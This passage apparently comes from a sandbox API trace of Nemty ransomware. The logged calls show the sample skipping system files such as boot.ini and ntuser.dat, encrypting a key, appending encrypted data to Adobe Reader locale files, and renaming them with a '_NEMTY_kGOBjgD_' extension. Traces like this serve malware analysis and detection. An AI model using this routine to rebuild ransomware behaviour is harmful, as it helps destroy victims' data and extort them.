lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f3566b0, dwHighDateTime=0x1d561e8)) [0180.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f3566b0, dwHighDateTime=0x1d561e8)) [0180.459] GetLastError () returned 0x0 [0180.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.459] GetLastError () returned 0x0 [0180.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.459] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.459] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.459] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.459] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="+LsKDc0fNtc0Dgwdzwb8ZjwlyzXNSShQLwxNBrdSyw1EFuLFPuCSSpzwiHFKyZbE\r\nSSPiTAomhxwM7k7ytyLUFrkT5VrW40UOPtM6g3BS/f4y5cy4NYZWqGtlo3PR28w2\r\ngNIPzYMkJp1D2Rp3CtVkTn0Keiz1YVsRjwdX/IciN+YZ/58V8xkfv9dK0RYobNMW\r\nMaw7bNnuUQumxgkxS4tcXEFVREZixpncJyrPhV8ARHjXgeDLCwYqbAjPnM+Rss3C\r\ngEcDLh7+XROkTSLM3IgQNXR2UuBIdfZrCvU9cOTSy6xuZWfId6+YYDxSl5SMTnip\r\nJ9k+ZObzp4FC2cqvn3irSw==\r\n", pcchString=0x653e5dc) returned 1 [0180.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DVA.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\dva.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.460] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19456) returned 1 [0180.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4c00) returned 0x6352c48 [0180.460] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.460] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4c00, lpOverlapped=0x0) returned 1 [0180.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.463] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4c00, lpOverlapped=0x0) returned 1 [0180.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c00 [0180.463] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.463] CloseHandle (hObject=0x2e8) returned 1 [0180.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.464] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DVA.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\dva.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DVA.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\dva.nld._nemty_kgobjgd_")) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.464] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.NLD", cAlternateFileName="")) returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2=".") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="..") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="...") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="windows") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="rsa") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="NTDETECT.COM") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="ntldr") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="MSDOS.SYS") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="IO.SYS") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="boot.ini") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="boot.ini") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="ntuser.dat") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="desktop.ini") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="CONFIG.SYS") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="RECYCLER") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="bootmgr") returned 1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="programdata") returned -1 [0180.465] lstrcmpiW (lpString1="eBook.NLD", lpString2="appdata") returned 1 [0180.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NLD", lpUsedDefaultChar=0x0) returned 9 [0180.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NLD", lpUsedDefaultChar=0x0) returned 9 [0180.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NLD", lpUsedDefaultChar=0x0) returned 9 [0180.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.NLD", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.NLD", lpUsedDefaultChar=0x0) returned 9 [0180.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.466] Sleep (dwMilliseconds=0x5) [0180.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f37c810, dwHighDateTime=0x1d561e8)) [0180.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f37c810, dwHighDateTime=0x1d561e8)) [0180.474] GetLastError () returned 0x0 [0180.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.474] GetLastError () returned 0x0 [0180.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.474] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.474] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.475] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.475] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="4l41j2YxXbTfu/dg6NGW9GRDL2jFNK+mTW0/glpisHThlWJkEBmthdKan4GzkXZj\r\nrogll9sl8Tl9+dpcDaikPQQ25hXRTQGc6ePu28JjafQzpUxvhBe1Lkp/EIZKvkKA\r\n/i1yklnBoLUvwUWIDpH2ZMVDT29WpQgWyNwEZdFC5HOhsOrOc9j94u3kWZ3puHuX\r\n/aetsL8CyUDjsPEezsBrVcGVu54lu/jjVxlACkc8oykGOR3vjAwfEoCm5sQaYbc6\r\npPa/UL4z+pfHn3fswsnKNVBcmJ0ueTabX6q9I0cuGfbfjXHe/oxKodN9aX7JBXiM\r\ngzXM9+ImOwgI1tC6HOKbfQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\eBook.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ebook.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.475] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0180.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0180.475] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.475] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0180.477] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.478] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0180.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.478] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0180.478] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.478] CloseHandle (hObject=0x2e8) returned 1 [0180.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0180.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.478] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\eBook.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ebook.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\eBook.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ebook.nld._nemty_kgobjgd_")) returned 1 [0180.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0180.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.479] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.NLD", cAlternateFileName="")) returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2=".") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="..") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="...") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="windows") returned -1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="rsa") returned -1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="NTDETECT.COM") returned -1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="ntldr") returned -1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="MSDOS.SYS") returned -1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="IO.SYS") returned -1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="boot.ini") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="boot.ini") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="ntuser.dat") returned -1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="desktop.ini") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="CONFIG.SYS") returned 1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="RECYCLER") returned -1 [0180.479] lstrcmpiW (lpString1="EScript.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.480] lstrcmpiW (lpString1="EScript.NLD", lpString2="bootmgr") returned 1 [0180.480] lstrcmpiW (lpString1="EScript.NLD", lpString2="programdata") returned -1 [0180.480] lstrcmpiW (lpString1="EScript.NLD", lpString2="appdata") returned 1 [0180.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 